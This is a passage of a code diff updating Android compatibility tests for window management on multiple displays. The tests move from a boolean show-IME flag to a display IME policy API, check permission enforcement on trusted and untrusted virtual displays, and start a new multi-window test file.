+                extraBool(KEY_LAUNCH_ACTIVITY, true), extraBool(KEY_LAUNCH_IMPLICIT, true),
+                extraBool(KEY_NEW_TASK, true), extraBool(KEY_USE_APPLICATION_CONTEXT, true),
+                extraString(KEY_ACTION, IMPLICIT_TARGET_SECOND_TEST_ACTION));
+        waitAndAssertTopResumedActivity(IMPLICIT_TARGET_SECOND_ACTIVITY, newDisplay.mId,
+                "Implicitly launched activity must launch on the same display");
+    }
+
+    /**
+     * Test that launching an activity from pending intent will end up on the same display
+     */
+    @Test
+    public void testLaunchingFromPendingIntent() {
+        final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+                .setSimulateDisplay(true)
+                .createDisplay();
+
+        launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mId,
+                extraBool(KEY_LAUNCH_ACTIVITY, true),
+                extraBool(KEY_LAUNCH_IMPLICIT, true),
+                extraBool(KEY_NEW_TASK, true),
+                extraBool(KEY_USE_APPLICATION_CONTEXT, true),
+                extraBool(KEY_LAUNCH_PENDING, true),
+                extraString(KEY_ACTION, IMPLICIT_TARGET_SECOND_TEST_ACTION));
+
+        waitAndAssertTopResumedActivity(IMPLICIT_TARGET_SECOND_ACTIVITY, newDisplay.mId,
+                "Activity launched from pending intent must launch on the same display");
+    }
+
+    /**
      * Tests than an immediate launch after new display creation is handled correctly.
      */
     @Test
@@ -795,42 +916,6 @@
 
     }
 
-    /** Tests launching of activities on a single task instance display. */
-    @Test
-    public void testSingleTaskInstanceDisplay() {
-        DisplayContent display = createManagedVirtualDisplaySession()
-                .setSimulateDisplay(true)
-                .createDisplay();
-        final int displayId = display.mId;
-
-        SystemUtil.runWithShellPermissionIdentity(
-                () -> mAtm.setDisplayToSingleTaskInstance(displayId));
-        display = getDisplayState(displayId);
-        assertTrue("Display must be set to singleTaskInstance", display.mSingleTaskInstance);
-
-        // SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY will launch
-        // SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY2 in the same task and
-        // SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY3 in different task.
-        launchActivityOnDisplay(SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY, displayId);
-
-        waitAndAssertTopResumedActivity(SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY3, DEFAULT_DISPLAY,
-                "Activity should be resumed on default display");
-
-        display = getDisplayState(displayId);
-        // Verify that the 2 activities in the same task are on the display and the one in a
-        // different task isn't on the display, but on the default display
-        assertTrue("Display should contain SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY",
-                display.containsActivity(SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY));
-        assertTrue("Display should contain SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY2",
-                display.containsActivity(SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY2));
-
-        assertFalse("Display shouldn't contain SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY3",
-                display.containsActivity(SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY3));
-        assertTrue("Display should contain SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY3",
-                getDisplayState(DEFAULT_DISPLAY).containsActivity(
-                        SINGLE_TASK_INSTANCE_DISPLAY_ACTIVITY3));
-    }
-
     @Test
     public void testLaunchPendingIntentActivity() throws Exception {
         final DisplayContent displayContent = createManagedVirtualDisplaySession()
@@ -905,7 +990,7 @@
         intent.setClassName(activity.getPackageName(), activity.getClassName());
         intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
         return PendingIntent.getActivity(mContext, 1 /* requestCode */, intent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
     }
 
     public static class ImmediateLaunchTestActivity extends Activity {}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayClientTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayClientTests.java
index caf44c9..e8910e8 100755
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayClientTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayClientTests.java
@@ -21,6 +21,7 @@
 import static android.server.wm.CommandSession.ActivityCallback.ON_RESUME;
 import static android.view.Display.DEFAULT_DISPLAY;
 import static android.view.Display.INVALID_DISPLAY;
+import static android.view.WindowManager.DISPLAY_IME_POLICY_LOCAL;
 import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_VISIBLE;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
@@ -161,7 +162,7 @@
         final DisplayContent newDisplay = virtualDisplaySession
                 .setSimulateDisplay(true)
                 .setShowSystemDecorations(true)
-                .setRequestShowIme(true)
+                .setDisplayImePolicy(DISPLAY_IME_POLICY_LOCAL)
                 .createDisplay();
 
         // Launch activity on the secondary display and make IME show.
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayKeyguardTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayKeyguardTests.java
index 88202d9..06312f0 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayKeyguardTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayKeyguardTests.java
@@ -20,8 +20,6 @@
 import static android.server.wm.app.Components.DISMISS_KEYGUARD_ACTIVITY;
 import static android.view.Display.DEFAULT_DISPLAY;
 
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeTrue;
 
 import android.platform.test.annotations.Presubmit;
@@ -208,8 +206,13 @@
         mWmState.assertKeyguardShowingAndNotOccluded();
         mWmState.waitAndAssertKeyguardShownOnSecondaryDisplay(decoredSystemDisplayId);
 
-        // Change decored display. Keyguard should still be shown on the decored system display
-        virtualDisplaySession.resizeDisplay();
+        // Resize decored display. Keyguard should still be shown on the decored system display
+        final ReportedDisplayMetrics displayMetrics =
+                ReportedDisplayMetrics.getDisplayMetrics(decoredSystemDisplayId);
+        final Size overrideSize = new Size(
+                (int) (displayMetrics.physicalSize.getWidth() * 0.5),
+                (int) (displayMetrics.physicalSize.getHeight() * 0.5));
+        displayMetrics.setDisplayMetrics(overrideSize, displayMetrics.physicalDensity);
         mWmState.computeState();
         mWmState.waitAndAssertKeyguardShownOnSecondaryDisplay(decoredSystemDisplayId);
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
index 3584353..d57c3bb 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
@@ -18,11 +18,11 @@
 
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
 import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
-import static android.server.wm.WindowManagerState.STATE_RESUMED;
-import static android.server.wm.WindowManagerState.STATE_STOPPED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_MULTI_WINDOW;
 import static android.server.wm.ComponentNameUtils.getWindowName;
 import static android.server.wm.StateLogger.logE;
+import static android.server.wm.WindowManagerState.STATE_RESUMED;
+import static android.server.wm.WindowManagerState.STATE_STOPPED;
 import static android.server.wm.WindowManagerState.TRANSIT_TASK_CLOSE;
 import static android.server.wm.WindowManagerState.TRANSIT_TASK_OPEN;
 import static android.server.wm.app.Components.BOTTOM_ACTIVITY;
@@ -49,11 +49,11 @@
 import static org.junit.Assume.assumeTrue;
 
 import android.platform.test.annotations.Presubmit;
-import android.server.wm.WindowManagerState.DisplayContent;
-import android.server.wm.WindowManagerState.ActivityTask;
 import android.server.wm.CommandSession.ActivityCallback;
 import android.server.wm.CommandSession.ActivitySession;
 import android.server.wm.CommandSession.SizeInfo;
+import android.server.wm.WindowManagerState.ActivityTask;
+import android.server.wm.WindowManagerState.DisplayContent;
 
 import org.junit.Before;
 import org.junit.Test;
@@ -390,7 +390,7 @@
                 pair(newDisplay.mId, TEST_ACTIVITY));
 
         // Move activity from secondary display to primary.
-        moveActivityToStackOrOnTop(TEST_ACTIVITY, defaultDisplayStackId);
+        moveActivityToRootTaskOrOnTop(TEST_ACTIVITY, defaultDisplayStackId);
         waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
                 "Moved activity must be on top");
     }
@@ -411,7 +411,7 @@
         mWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
 
         tryCreatingAndRemovingDisplayWithActivity(true /* splitScreen */,
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+                WINDOWING_MODE_MULTI_WINDOW);
     }
 
     /**
@@ -430,7 +430,7 @@
         mWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
 
         tryCreatingAndRemovingDisplayWithActivity(true /* splitScreen */,
-                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+                WINDOWING_MODE_MULTI_WINDOW);
     }
 
     /**
@@ -463,7 +463,9 @@
                     .setLaunchInSplitScreen(splitScreen)
                     .createDisplay();
             if (splitScreen) {
-                mWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
+                // Set the secondary split root task as launch root to verify remaining tasks will
+                // be reparented to matching launch root after removed the virtual display.
+                mTaskOrganizer.setLaunchRoot(mTaskOrganizer.getSecondarySplitTaskId());
             }
 
             // Launch activity on new secondary display.
@@ -481,7 +483,7 @@
                 .setWindowingMode(windowingMode)
                 .setActivityType(ACTIVITY_TYPE_STANDARD)
                 .build());
-        mWmState.assertSanity();
+        mWmState.assertValidity();
 
         // Check if the top activity is now back on primary display.
         mWmState.assertVisibility(RESIZEABLE_ACTIVITY, true /* visible */);
@@ -764,7 +766,7 @@
         transitionActivitySession.launchTestActivityOnDisplaySync(StandardActivity.class,
                 DEFAULT_DISPLAY);
         mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
-        mWmState.assertSanity();
+        mWmState.assertValidity();
         assertEquals(TRANSIT_TASK_OPEN,
                 mWmState.getDisplay(DEFAULT_DISPLAY).getLastTransition());
 
@@ -773,7 +775,7 @@
         launchActivityOnDisplayNoWait(TEST_ACTIVITY, newDisplay.mId);
         mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
         mWmState.waitForAppTransitionIdleOnDisplay(newDisplay.mId);
-        mWmState.assertSanity();
+        mWmState.assertValidity();
 
         // Verify each display's last transition if is correct as expected.
         assertEquals(TRANSIT_TASK_CLOSE,
@@ -791,7 +793,7 @@
         // Launch TestActivity in virtual display & capture its transition state.
         launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
         mWmState.waitForAppTransitionIdleOnDisplay(newDisplay.mId);
-        mWmState.assertSanity();
+        mWmState.assertValidity();
         final String lastTranstionOnVirtualDisplay = mWmState
                 .getDisplay(newDisplay.mId).getLastTransition();
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySecurityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySecurityTests.java
index cb956f6..f14bf6a 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySecurityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySecurityTests.java
@@ -41,6 +41,9 @@
 import static android.server.wm.third.Components.THIRD_ACTIVITY;
 import static android.view.Display.DEFAULT_DISPLAY;
 import static android.view.ViewGroup.LayoutParams.WRAP_CONTENT;
+import static android.view.WindowManager.DISPLAY_IME_POLICY_FALLBACK_DISPLAY;
+import static android.view.WindowManager.DISPLAY_IME_POLICY_HIDE;
+import static android.view.WindowManager.DISPLAY_IME_POLICY_LOCAL;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
@@ -629,13 +632,14 @@
 
         // Verify setting show IME flag without internal system permission.
         try {
-            wm.setShouldShowIme(trustedDisplay.mId, true);
+            wm.setDisplayImePolicy(trustedDisplay.mId, DISPLAY_IME_POLICY_LOCAL);
 
             // Unexpected result, restore flag to avoid affecting other tests.
-            wm.setShouldShowIme(trustedDisplay.mId, false);
+            wm.setDisplayImePolicy(trustedDisplay.mId, DISPLAY_IME_POLICY_FALLBACK_DISPLAY);
             TestUtils.waitUntil("Waiting for show IME flag to be set",
                     5 /* timeoutSecond */,
-                    () -> !wm.shouldShowIme(trustedDisplay.mId));
+                    () -> (wm.getDisplayImePolicy(trustedDisplay.mId)
+                            == DISPLAY_IME_POLICY_FALLBACK_DISPLAY));
             fail("Should not allow setting show IME flag without internal system permission");
         } catch (SecurityException e) {
             // Expected security exception.
@@ -664,7 +668,7 @@
 
         // Verify getting show IME flag without internal system permission.
         try {
-            wm.shouldShowIme(trustedDisplay.mId);
+            wm.getDisplayImePolicy(trustedDisplay.mId);
             fail("Only allow internal system to get show IME flag");
         } catch (SecurityException e) {
             // Expected security exception.
@@ -701,13 +705,14 @@
         // Verify setting show IME flag to an untrusted display.
         getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
         try {
-            wm.setShouldShowIme(untrustedDisplay.mId, true);
+            wm.setDisplayImePolicy(untrustedDisplay.mId, DISPLAY_IME_POLICY_LOCAL);
 
             // Unexpected result, restore flag to avoid affecting other tests.
-            wm.setShouldShowIme(untrustedDisplay.mId, false);
+            wm.setDisplayImePolicy(untrustedDisplay.mId, DISPLAY_IME_POLICY_FALLBACK_DISPLAY);
             TestUtils.waitUntil("Waiting for show IME flag to be set",
                     5 /* timeoutSecond */,
-                    () -> !wm.shouldShowIme(untrustedDisplay.mId));
+                    () -> (wm.getDisplayImePolicy(untrustedDisplay.mId)
+                            == DISPLAY_IME_POLICY_FALLBACK_DISPLAY));
             fail("Should not allow setting show IME flag to the untrusted virtual display");
         } catch (SecurityException e) {
             // Expected security exception.
@@ -731,9 +736,10 @@
                 wm.shouldShowSystemDecors(untrustedDisplay.mId)));
 
         // Verify getting show IME flag from an untrusted display.
-        SystemUtil.runWithShellPermissionIdentity(() -> assertFalse(
+        SystemUtil.runWithShellPermissionIdentity(() -> assertEquals(
                 "Display should not support showing IME window",
-                wm.shouldShowIme(untrustedDisplay.mId)));
+                wm.getDisplayImePolicy(untrustedDisplay.mId),
+                DISPLAY_IME_POLICY_FALLBACK_DISPLAY));
     }
 
     /**
@@ -770,21 +776,32 @@
         // Verify setting show IME flag to a trusted display.
         SystemUtil.runWithShellPermissionIdentity(() -> {
             // Assume the display should not show IME window by default.
-            assertFalse(wm.shouldShowIme(trustedDisplay.mId));
+            assertEquals(DISPLAY_IME_POLICY_FALLBACK_DISPLAY,
+                    wm.getDisplayImePolicy(trustedDisplay.mId));
 
             try {
-                wm.setShouldShowIme(trustedDisplay.mId, true);
+                wm.setDisplayImePolicy(trustedDisplay.mId, DISPLAY_IME_POLICY_LOCAL);
                 TestUtils.waitUntil("Waiting for show IME flag to be set",
                         5 /* timeoutSecond */,
-                        () -> wm.shouldShowIme(trustedDisplay.mId));
+                        () -> (wm.getDisplayImePolicy(trustedDisplay.mId)
+                                == DISPLAY_IME_POLICY_LOCAL));
 
-                assertTrue(wm.shouldShowIme(trustedDisplay.mId));
+                assertEquals(DISPLAY_IME_POLICY_LOCAL, wm.getDisplayImePolicy(trustedDisplay.mId));
+
+                wm.setDisplayImePolicy(trustedDisplay.mId, DISPLAY_IME_POLICY_HIDE);
+                TestUtils.waitUntil("Waiting for show IME flag to be set",
+                        5 /* timeoutSecond */,
+                        () -> (wm.getDisplayImePolicy(trustedDisplay.mId)
+                                == DISPLAY_IME_POLICY_HIDE));
+
+                assertEquals(DISPLAY_IME_POLICY_HIDE, wm.getDisplayImePolicy(trustedDisplay.mId));
             } finally {
                 // Restore flag to avoid affecting other tests.
-                wm.setShouldShowIme(trustedDisplay.mId, false);
+                wm.setDisplayImePolicy(trustedDisplay.mId, DISPLAY_IME_POLICY_FALLBACK_DISPLAY);
                 TestUtils.waitUntil("Waiting for show IME flag to be set",
                         5 /* timeoutSecond */,
-                        () -> !wm.shouldShowIme(trustedDisplay.mId));
+                        () -> (wm.getDisplayImePolicy(trustedDisplay.mId)
+                                == DISPLAY_IME_POLICY_FALLBACK_DISPLAY));
             }
         });
     }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
index 0dd955e..49d31ea 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
@@ -28,11 +28,15 @@
 import static android.server.wm.BarTestUtils.assumeHasBars;
 import static android.server.wm.MockImeHelper.createManagedMockImeSession;
 import static android.view.Display.DEFAULT_DISPLAY;
+import static android.view.WindowManager.DISPLAY_IME_POLICY_FALLBACK_DISPLAY;
+import static android.view.WindowManager.DISPLAY_IME_POLICY_HIDE;
+import static android.view.WindowManager.DISPLAY_IME_POLICY_LOCAL;
 import static android.view.WindowManager.LayoutParams.TYPE_WALLPAPER;
 
 import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcher;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.notExpectEvent;
 
 import static com.google.common.truth.Truth.assertThat;
 
@@ -382,7 +386,7 @@
         // Create a virtual display and launch an activity on it.
         final DisplayContent newDisplay = createManagedVirtualDisplaySession()
                 .setShowSystemDecorations(true)
-                .setRequestShowIme(true)
+                .setDisplayImePolicy(DISPLAY_IME_POLICY_LOCAL)
                 .setSimulateDisplay(true)
                 .createDisplay();
         imeTestActivitySession.launchTestActivityOnDisplaySync(ImeTestActivity.class,
@@ -473,7 +477,7 @@
         final DisplayContent newDisplay = createManagedVirtualDisplaySession()
                 .setShowSystemDecorations(true)
                 .setSimulateDisplay(true)
-                .setRequestShowIme(true)
+                .setDisplayImePolicy(DISPLAY_IME_POLICY_LOCAL)
                 .createDisplay();
         imeTestActivitySession.launchTestActivityOnDisplaySync(ImeTestActivity.class,
                 DEFAULT_DISPLAY);
@@ -533,9 +537,10 @@
                 .setPublicDisplay(true)
                 .createDisplay();
         SystemUtil.runWithShellPermissionIdentity(
-                () -> assertFalse("Display should not support showing IME window",
+                () -> assertTrue("Display should not support showing IME window",
                         mTargetContext.getSystemService(WindowManager.class)
-                                .shouldShowIme(newDisplay.mId)));
+                                .getDisplayImePolicy(newDisplay.mId)
+                                == DISPLAY_IME_POLICY_FALLBACK_DISPLAY));
 
         // Launch Ime test activity in virtual display.
         imeTestActivitySession.launchTestActivityOnDisplay(ImeTestActivity.class,
@@ -543,9 +548,9 @@
 
         // Expect onStartInput / showSoftInput would be executed when user tapping on the
         // non-system created display intentionally.
-        final Rect drawRect = new Rect();
-        imeTestActivitySession.getActivity().mEditText.getDrawingRect(drawRect);
-        tapOnDisplaySync(drawRect.left, drawRect.top, newDisplay.mId);
+        final int[] location = new int[2];
+        imeTestActivitySession.getActivity().mEditText.getLocationOnScreen(location);
+        tapOnDisplaySync(location[0], location[1], newDisplay.mId);
 
         // Verify the activity to show soft input on the default display.
         final ImeEventStream stream = mockImeSession.openEventStream();
@@ -572,6 +577,48 @@
         assertFalse(expectCommand(stream, callCursorUpdates, TIMEOUT).getReturnBooleanValue());
     }
 
+    /**
+     * Test that the IME can be hidden with the {@link WindowManager#DISPLAY_IME_POLICY_HIDE} flag.
+     */
+    @Test
+    public void testDisplayPolicyImeHideImeOperation() throws Exception {
+        assumeTrue(MSG_NO_MOCK_IME, supportsInstallableIme());
+
+        final MockImeSession mockImeSession = createManagedMockImeSession(this);
+        final TestActivitySession<ImeTestActivity> imeTestActivitySession =
+                createManagedTestActivitySession();
+
+        // Create a virtual display and launch an activity on virtual display.
+        final DisplayContent newDisplay = createManagedVirtualDisplaySession()
+                .setShowSystemDecorations(true)
+                .setDisplayImePolicy(DISPLAY_IME_POLICY_HIDE)
+                .setSimulateDisplay(true)
+                .createDisplay();
+
+        // Launch Ime test activity in virtual display.
+        imeTestActivitySession.launchTestActivityOnDisplaySync(ImeTestActivity.class,
+                newDisplay.mId);
+
+        // Verify the activity is launched to the secondary display.
+        final ComponentName imeTestActivityName =
+                imeTestActivitySession.getActivity().getComponentName();
+        assertThat(mWmState.hasActivityInDisplay(newDisplay.mId, imeTestActivityName)).isTrue();
+
+        // Expect onStartInput to not execute when user taps on the display with the HIDE policy.
+        final int[] location = new int[2];
+        imeTestActivitySession.getActivity().mEditText.getLocationOnScreen(location);
+        tapOnDisplaySync(location[0], location[1], newDisplay.mId);
+
+        // Verify tapping secondary display to request focus on EditText does not show soft input.
+        final long NOT_EXPECT_TIMEOUT = TimeUnit.SECONDS.toMillis(2);
+        final ImeEventStream stream = mockImeSession.openEventStream();
+        imeTestActivitySession.runOnMainSyncAndWait(
+                imeTestActivitySession.getActivity()::showSoftInput);
+        notExpectEvent(stream, editorMatcher("onStartInput",
+                imeTestActivitySession.getActivity().mEditText.getPrivateImeOptions()),
+                NOT_EXPECT_TIMEOUT);
+    }
+
     @Test
     public void testImeWindowCanShownWhenActivityMovedToDisplay() throws Exception {
         // If config_perDisplayFocusEnabled, the focus will not move even if touching on
@@ -589,7 +636,7 @@
         // Create a virtual display and launch an activity on virtual display.
         final DisplayContent newDisplay = createManagedVirtualDisplaySession()
                 .setShowSystemDecorations(true)
-                .setRequestShowIme(true)
+                .setDisplayImePolicy(DISPLAY_IME_POLICY_LOCAL)
                 .setSimulateDisplay(true)
                 .createDisplay();
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
index 43ecf71..1b0d933 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
@@ -35,6 +35,7 @@
 import static android.server.wm.app.Components.VirtualDisplayActivity.VIRTUAL_DISPLAY_PREFIX;
 import static android.view.Display.DEFAULT_DISPLAY;
 import static android.view.Display.INVALID_DISPLAY;
+import static android.view.WindowManager.DISPLAY_IME_POLICY_FALLBACK_DISPLAY;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
@@ -43,6 +44,7 @@
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.hasSize;
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertTrue;
 
 import android.content.ComponentName;
@@ -320,7 +322,7 @@
         private boolean mResizeDisplay = true;
         private boolean mShowSystemDecorations = false;
         private boolean mOwnContentOnly = false;
-        private boolean mRequestShowIme = false;
+        private int mDisplayImePolicy = DISPLAY_IME_POLICY_FALLBACK_DISPLAY;
         private boolean mPresentationDisplay = false;
         private boolean mSimulateDisplay = false;
         private boolean mMustBeCreated = true;
@@ -364,8 +366,18 @@
             return this;
         }
 
-        VirtualDisplaySession setRequestShowIme(boolean requestShowIme) {
-            mRequestShowIme = requestShowIme;
+        /**
+         * Sets the policy for how the display should show the ime.
+         *
+         * Set to one of:
+         *   <ul>
+         *     <li>{@link WindowManager#DISPLAY_IME_POLICY_LOCAL}
+         *     <li>{@link WindowManager#DISPLAY_IME_POLICY_FALLBACK_DISPLAY}
+         *     <li>{@link WindowManager#DISPLAY_IME_POLICY_HIDE}
+         *   </ul>
+         */
+        VirtualDisplaySession setDisplayImePolicy(int displayImePolicy) {
+            mDisplayImePolicy = displayImePolicy;
             return this;
         }
 
@@ -410,6 +422,11 @@
         }
 
         void resizeDisplay() {
+            if (mSimulateDisplay) {
+                throw new IllegalStateException(
+                        "Please use ReportedDisplayMetrics#setDisplayMetrics to resize"
+                                + " simulate display");
+            }
             executeShellCommand(getAmStartCmd(VIRTUAL_DISPLAY_ACTIVITY)
                     + " -f 0x20000000" + " --es " + KEY_COMMAND + " " + COMMAND_RESIZE_DISPLAY);
         }
@@ -439,9 +456,7 @@
                     mDensityDpi,
                     mOwnContentOnly,
                     mShowSystemDecorations);
-            if (mRequestShowIme) {
-                mOverlayDisplayDeviceSession.configureDisplays(true /* requestShowIme */);
-            }
+            mOverlayDisplayDeviceSession.configureDisplays(mDisplayImePolicy /* imePolicy */);
             return mOverlayDisplayDeviceSession.getCreatedDisplays();
         }
 
@@ -471,6 +486,9 @@
                         .setToSide(true)
                         .setTargetActivity(VIRTUAL_DISPLAY_ACTIVITY)
                         .execute();
+                final int secondaryTaskId =
+                        mWmState.getTaskByActivity(VIRTUAL_DISPLAY_ACTIVITY).mTaskId;
+                mTaskOrganizer.putTaskInSplitSecondary(secondaryTaskId);
             } else {
                 launchActivity(VIRTUAL_DISPLAY_ACTIVITY);
             }
@@ -610,15 +628,15 @@
             set(displaySettingsEntry);
         }
 
-        void configureDisplays(boolean requestShowIme) {
+        void configureDisplays(int imePolicy) {
             SystemUtil.runWithShellPermissionIdentity(() -> {
                 for (DisplayContent display : mDisplays) {
-                    final boolean showIme = mWm.shouldShowIme(display.mId);
-                    mDisplayStates.add(new OverlayDisplayState(display.mId, showIme));
-                    if (requestShowIme != showIme) {
-                        mWm.setShouldShowIme(display.mId, requestShowIme);
+                    final int oldImePolicy = mWm.getDisplayImePolicy(display.mId);
+                    mDisplayStates.add(new OverlayDisplayState(display.mId, oldImePolicy));
+                    if (imePolicy != oldImePolicy) {
+                        mWm.setDisplayImePolicy(display.mId, imePolicy);
                         waitForOrFail("display config show-IME to be set",
-                                () -> mWm.shouldShowIme(display.mId) == requestShowIme);
+                                () -> (mWm.getDisplayImePolicy(display.mId) == imePolicy));
                     }
                 }
             });
@@ -626,11 +644,11 @@
 
         private void restoreDisplayStates() {
             mDisplayStates.forEach(state -> SystemUtil.runWithShellPermissionIdentity(() -> {
-                mWm.setShouldShowIme(state.mId, state.mShouldShowIme);
+                mWm.setDisplayImePolicy(state.mId, state.mImePolicy);
 
                 // Only need to wait the last flag to be set.
                 waitForOrFail("display config show-IME to be restored",
-                        () -> mWm.shouldShowIme(state.mId) == state.mShouldShowIme);
+                        () -> (mWm.getDisplayImePolicy(state.mId) == state.mImePolicy));
             }));
         }
 
@@ -657,11 +675,11 @@
 
         private class OverlayDisplayState {
             int mId;
-            boolean mShouldShowIme;
+            int mImePolicy;
 
-            OverlayDisplayState(int displayId, boolean showIme) {
+            OverlayDisplayState(int displayId, int imePolicy) {
                 mId = displayId;
-                mShouldShowIme = showIme;
+                mImePolicy = imePolicy;
             }
         }
     }
@@ -725,6 +743,8 @@
 
     protected void assertBothDisplaysHaveResumedActivities(
             Pair<Integer, ComponentName> firstPair, Pair<Integer, ComponentName> secondPair) {
+        assertNotEquals("Displays must be different.  First display id: "
+                        + firstPair.first, firstPair.first, secondPair.first);
         mWmState.assertResumedActivities("Both displays must have resumed activities",
                 mapping -> {
                     mapping.put(firstPair.first, firstPair.second);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiWindowTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiWindowTests.java
new file mode 100644
index 0000000..630056c
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiWindowTests.java
@@ -0,0 +1,530 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.app.ActivityManager.LOCK_TASK_MODE_NONE;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.app.WindowConfiguration.WINDOWING_MODE_MULTI_WINDOW;
+import static android.server.wm.TestTaskOrganizer.INVALID_TASK_ID;
+import static android.server.wm.WindowManagerState.STATE_RESUMED;
+import static android.server.wm.WindowManagerState.STATE_STOPPED;
+import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
+import static android.server.wm.app.Components.NON_RESIZEABLE_ACTIVITY;
+import static android.server.wm.app.Components.NO_RELAUNCH_ACTIVITY;
+import static android.server.wm.app.Components.SINGLE_INSTANCE_ACTIVITY;
+import static android.server.wm.app.Components.SINGLE_TASK_ACTIVITY;
+import static android.server.wm.app.Components.TEST_ACTIVITY;
+import static android.server.wm.app.Components.TEST_ACTIVITY_WITH_SAME_AFFINITY;
+import static android.server.wm.app.Components.TRANSLUCENT_TEST_ACTIVITY;
+import static android.server.wm.app.Components.TestActivity.TEST_ACTIVITY_ACTION_FINISH_SELF;
+import static android.server.wm.app27.Components.SDK_27_LAUNCHING_ACTIVITY;
+import static android.server.wm.app27.Components.SDK_27_SEPARATE_PROCESS_ACTIVITY;
+import static android.server.wm.app27.Components.SDK_27_TEST_ACTIVITY;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ComponentName;
+import android.platform.test.annotations.Presubmit;
+import android.server.wm.CommandSession.ActivityCallback;
+import android.window.WindowContainerToken;
+import android.window.WindowContainerTransaction;
+
+import org.junit.Before;
